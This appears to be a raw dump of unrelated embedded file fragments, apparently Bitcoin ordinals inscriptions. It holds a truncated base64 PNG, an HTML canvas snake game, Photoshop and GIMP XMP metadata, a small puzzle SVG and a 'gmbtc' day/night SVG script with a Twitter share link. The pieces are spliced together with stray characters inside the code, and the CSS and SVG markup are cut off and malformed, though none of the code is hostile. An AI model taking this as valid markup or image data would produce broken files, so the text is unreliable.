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" class="background"><div class="game"><canvas widthM
="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.xM
=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cM
ells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
FjDOUT:9F00A6EC17EB26CCB853E24FB32D6CE48808F76AF376B6DCF5FD75C20F074FC8
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164352, 2020/01/30-15:50:38        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1M
.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-11-17T23:19:04+08:00" xmp:ModifyDate="2021-12-01T21:49:21+08:00" xmp:MetadataDate="2021-12-01T21:49:21+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:f51678ed-bbb1-9249-a8dd-326d73cc4083" xmpMM:DocumentID="xmp.did:7402f149-669b-4a44-85e3-90386d32ebc2" xmpMM:OriginalDocumentID="xmp.did:7402f149-669b-4a44-8M
5e3-90386d32ebc2"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:7402f149-669b-4a44-85e3-90386d32ebc2" stEvt:when="2021-11-17T23:19:04+08:00" stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:621a41df-99fe-fe47-9b65-0a412aa1122a" stEvt:when="2021-11-29T16:47:57+08:00" stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:f51678ed-bbb1-9249-a8dd-32M
6d73cc4083" stEvt:when="2021-12-01T21:49:21+08:00" stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0111/4096 1,2,3,0,1 ~0.5825065213721246-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#9296A0" width="100%" height="100%"/>
<polyline fill="#36EEE0" points="0,8 1,6 4,6 0,0 "/>
<polyline fill="#F652A0" points="8,0 5,3 5,3 8,8 "/>
<polyline fill="#F2F652" points="8,8 3,2 3,3 0,8 "/>
<polyline fill="#52F6A8" points="0,0 1,1 1,2 8,0 "/>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/0M
2/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:d4d20c66-6edc-4b31-89b9-940a42ba692e" xmpMM:InstanceID="xmp.iid:f8d66440-4142-483b-9379-83b6cf50b68c" xmpMM:OriginalDocumentID="xmp.did:17b36bc0-ca93-4402-a1fcM
-e450132e8425" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676438199881138" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T16:16:37+11:00" xmp:ModifyDate="2023:02:15T16:16:37+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:ee9713e9-f8e4-47b0-80ea-8c7bbd46252f" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T16:16:39"/> </rdf:Seq> </xmpMM:History> </rdf:M
Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M

     <?xpacket end="w"?>h!
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 600 600">
  window.addEventListener("load", () => {
    var sn = document.querySelector('.sn');
    document.querySelector('.gmbtcio').classList.add('hideGMBTC');
    var td = new Date(); var ch = td.getHours()
    if (ch >= 5 && ch <= 18) {
      sn.classList.add('sngm')
      sn.classList.add('cl')
      sn.addEventListener("click", () => window.open(`https://twitter.com/intent/tweet?text=${encodeURI('gm from 009 to bM
itcoin ordinals fam! sending good vibes via the first dynamic ordinals @gmbtcio')}&hashtags=gmbtc`, '_blank'))
      var moon = document.querySelector('.moon')
      moon.setAttribute('fill-opacity', 1)
      moon.classList.add('moongn')
      var str = document.querySelector('.str')
      str.setAttribute('fill-opacity', 1)
      str.classList.add('stgn')
      var fd = document.querySelector('.f');
      fd.classList.add('m0GN')
      var bd = document.querySelector('.b');
lassList.add('bgGN')
      document.querySelector('.m1').setAttribute('fill', '#3C3BB4')
      document.querySelector('.m2').setAttribute('fill', '#4D4DC6')
      document.querySelector('.m3').setAttribute('fill', '#5151C8')
      document.querySelector('.m4').setAttribute('fill', '#8882DC')
      sn.classList.add('sngn')
    .cl { cursor: pointer; }
    path, circle {transition: 5s ease;}
    stop {transition: 4s ease;}
    .bgGN stop:nth-child(1) {stop-color: M
    .bgGN stop:nth-child(2) {stop-color: #BD9FFF;}
    .m0GN stop:nth-child(1) {stop-color: #232282;}
    .m0GN stop:nth-child(2) {stop-color: #242390;}
    @keyframes hideGMBTC { from {opacity: 1;} to { opacity: 0;} }
    @keyframes sngm {from {opacity: 0;transform: translateY(180px);}to {opacity: 1;transform: translateY(0);}}
    @keyframes sngn {from { opacity: 1;transform: translateY(180px);}to {transform: translateY(-180px);opacity: 0;}}
    .sngm { animation: sngm 1s linear forwards; }
ngn { animation: sngn 1s linear forwards; }
    .moongn { animation: sngm 1s linear forwards; animation-delay: 0.5s;}
    .stgn { animation: sngm 1s linear forwards; animation-delay: 1s;}
    .hideGMBTC { animation: hideGMBTC 0.4s linear forwards;}
    .str, .moon { transform: translateY(180px); }
    <path fill="#FDEEEE" d="M0 0h600v600H0z"/>
    <path fill="#000" d="M32.508 575.5c-2.7 0-4.767-.767-6.2-2.3-1.433-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2M
.3 6.2-2.3s4.767.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.433 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm20.02 5c-2.7 0-4.767-.767-6.2-2.3-1.434-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.3 6.2-2.3s4.766.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.434 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.M
85-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm19.819 5c-2.667 0-4.7-.75-6.1-2.25-1.4-1.533-2.1-3.717-2.1-6.55v-.65h5.2v1c0 2.3.95 3.45 2.85 3.45 1.033 0 1.8-.317 2.3-.95.5-.633.75-1.75.75-3.35v-6.7h-.1c-.967 2.033-2.634 3.05-5 3.05-2 0-3.517-.683-4.55-2.05-1.033-1.367-1.55-3.35-1.55-5.95v-6.25c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.3 6.2-2.3s4.766.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.1c0 6.067-2.8 9.1-8.4 9.1Zm.05-17.95c1.9 0 2.85-1.15 2.85-3.45v-6.2c0-2.267-.95-3.4-2.85-3.4-1.9 0-2.85M
 1.133-2.85 3.4v6.2c0 2.3.95 3.45 2.85 3.45ZM96.817 540h4.749l-13.8 35h-4.75l13.8-35Z" class="009/"/>
    <path fill="#000" d="M110.045 545.446h-3.565v-2.418c.971 0 1.746-.083 2.325-.248.599-.165 1.075-.434 1.426-.806.351-.393.661-.951.93-1.674h2.294V562h-3.41v-16.554Zm12.567 16.864c-1.674 0-2.955-.475-3.844-1.426-.889-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.444-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.955.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.889.951-2.M
17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Zm12.412 3.1c-1.674 0-2.955-.475-3.844-1.426-.888-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.445-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.956.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.888.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767M
 2.139v11.842c0 1.426.589 2.139 1.767 2.139Z" class="100"/>
    <g class="gmbtcio">
      <path fill="#000" d="M107.915 578.15c-.76 0-1.425-.14-1.995-.42a3.458 3.458 0 0 1-1.38-1.155l1.08-1.08c.29.36.62.63.99.81.37.18.815.27 1.335.27.65 0 1.165-.17 1.545-.51.38-.33.57-.785.57-1.365v-1.77l.285-1.59-.285-1.605V567.8h1.65v6.9c0 .69-.16 1.29-.48 1.8-.32.52-.765.925-1.335 1.215-.57.29-1.23.435-1.98.435Zm-.075-3.3c-.64 0-1.22-.155-1.74-.465a3.472 3.472 0 0 1-1.215-1.305 3.894 3.894 0 0 1-.435-1.845c0-.68.145-1.29.435-1.8M
3.3-.54.705-.965 1.215-1.275.52-.32 1.1-.48 1.74-.48.57 0 1.07.115 1.5.345.43.23.765.55 1.005.96.24.4.36.87.36 1.41v1.77c0 .53-.125 1-.375 1.41-.24.41-.575.73-1.005.96-.43.23-.925.345-1.485.345Zm.33-1.56c.4 0 .75-.085 1.05-.255.3-.17.53-.405.69-.705.17-.31.255-.67.255-1.08 0-.41-.085-.765-.255-1.065-.16-.31-.39-.55-.69-.72-.3-.17-.65-.255-1.05-.255s-.755.085-1.065.255c-.3.17-.535.41-.705.72-.17.3-.255.655-.255 1.065 0 .4.085.755.255 1.065.17.31.405.55.705.72.31.17.665.255 1.065.255Zm5.373 1.71v-7.2h1.65v7.2h-1.65ZmM
4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.3 0-.57.06-.81.18-.23.12-.415.295-.555.525-.14.22-.21.49-.21.81l-.645-.36c0-.55.12-1.025.36-1.425.24-.4.565-.71.975-.93.41-.23.87-.345 1.38-.345.51 0 .97.11 1.38.33.41.22.735.53.975.93s.36.88.36 1.44V575h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.29 0-.555.06-.795.18s-.43.295-.57.525c-.14.22-.21.49-.21.81l-.93-.36c.05-.55.21-1.025.48-1.425a2.8 2.8 0 0 1 1.035-.93c.43-.23.9-.345 1.41-.345.52 0 .99.11 1.41.33.42.22.755.53 1.00M
5.93.25.4.375.88.375 1.44V575h-1.65Z"/>
      <path fill="#FF7F7C" d="M130.318 575.15c-.55 0-1.04-.115-1.47-.345a2.73 2.73 0 0 1-1.02-.975 2.71 2.71 0 0 1-.36-1.395v-2.07c0-.52.125-.985.375-1.395.25-.41.59-.73 1.02-.96.43-.24.915-.36 1.455-.36.65 0 1.235.17 1.755.51.53.33.945.78 1.245 1.35.31.56.465 1.195.465 1.905 0 .7-.155 1.335-.465 1.905-.3.56-.715 1.005-1.245 1.335-.52.33-1.105.495-1.755.495Zm-.27-1.56c.4 0 .75-.09 1.05-.27.31-.19.55-.45.72-.78.18-.33.27-.71.27-1.14 0-.43-.09-.81-.27-1.14-.17-.33-.41-.585-.72-M
.765a1.92 1.92 0 0 0-1.05-.285c-.4 0-.755.095-1.065.285-.31.18-.55.435-.72.765-.17.33-.255.71-.255 1.14 0 .43.085.81.255 1.14.17.33.41.59.72.78.31.18.665.27 1.065.27Zm-3.585 1.41v-10.8h1.65v5.37l-.285 1.74.285 1.755V575h-1.65Zm9.591 0v-10.2h1.65V575h-1.65Zm-1.725-5.7v-1.5h5.1v1.5h-5.1Zm9.409 5.85c-.71 0-1.355-.165-1.935-.495-.57-.33-1.02-.78-1.35-1.35a3.733 3.733 0 0 1-.495-1.905c0-.71.165-1.345.495-1.905.33-.57.78-1.02 1.35-1.35a3.844 3.844 0 0 1 1.935-.495c.56 0 1.08.11 1.56.33.49.21.905.515 1.245.915l-1.08 1.095M
a1.913 1.913 0 0 0-.765-.555 2.32 2.32 0 0 0-.96-.195c-.41 0-.775.095-1.095.285-.31.18-.555.43-.735.75-.17.32-.255.695-.255 1.125 0 .42.085.795.255 1.125.18.32.425.575.735.765.32.18.685.27 1.095.27.35 0 .67-.06.96-.18.3-.13.555-.32.765-.57l1.08 1.095c-.34.4-.755.71-1.245.93-.48.21-1 .315-1.56.315Zm5.254 0c-.32 0-.585-.105-.795-.315-.2-.22-.3-.485-.3-.795 0-.32.1-.585.3-.795.21-.21.475-.315.795-.315.32 0 .58.105.78.315.21.21.315.475.315.795 0 .31-.105.575-.315.795-.2.21-.46.315-.78.315Zm3.106-.15v-7.2h1.65v7.2h-1.65M
Zm.825-8.52a.958.958 0 0 1-.705-.285.986.986 0 0 1-.27-.705c0-.28.09-.515.27-.705a.958.958 0 0 1 .705-.285c.29 0 .525.095.705.285.18.19.27.425.27.705 0 .28-.09.515-.27.705a.927.927 0 0 1-.705.285Zm5.976 8.67c-.7 0-1.335-.165-1.905-.495a3.88 3.88 0 0 1-1.365-1.365 3.733 3.733 0 0 1-.495-1.905c0-.7.165-1.33.495-1.89.34-.56.795-1.005 1.365-1.335.57-.34 1.205-.51 1.905-.51.71 0 1.35.165 1.92.495.57.33 1.02.78 1.35 1.35.34.56.51 1.19.51 1.89s-.17 1.335-.51 1.905c-.33.57-.78 1.025-1.35 1.365-.57.33-1.21.495-1.92.495Zm0-1M
.59c.41 0 .77-.09 1.08-.27.32-.19.565-.45.735-.78.18-.33.27-.705.27-1.125 0-.42-.09-.79-.27-1.11-.18-.32-.425-.57-.735-.75-.31-.19-.67-.285-1.08-.285-.4 0-.76.095-1.08.285-.31.18-.555.43-.735.75-.17.32-.255.69-.255 1.11 0 .42.085.795.255 1.125.18.33.425.59.735.78.32.18.68.27 1.08.27Z"/>
    <circle cx="300" cy="300" r="244" fill="#D9D9D9" stroke="#fff" stroke-width="20" class="ol"/>
      <mask id="a" width="468" height="468" x="66" y="66" class="a" maskUnits="userSpaceOnUse" style="mask-M
        <circle cx="300" cy="300" r="234" fill="#FCE07D" class="cm"/>
      <g mask="url(#a)">
        <g class="ci">
          <circle cx="300" cy="300" r="234" fill="url(#b)" class="ci"/>
        <g class="str" opacity=".01">
          <path fill="#fff" fill-rule="evenodd" d="M432 179a5 5 0 1 0-.001-10.001A5 5 0 0 0 432 179Zm-250 26.5a2.5 2.5 0 1 1-5 0 2.5 2.5 0 0 1 5 0ZM437 244a5 5 0 1 0-.001-10.001A5 5 0 0 0 437 244Zm-280 9a5 5 0 1 0-.001-10.001A5 5 0 0 0 157 253Zm68-74a5M
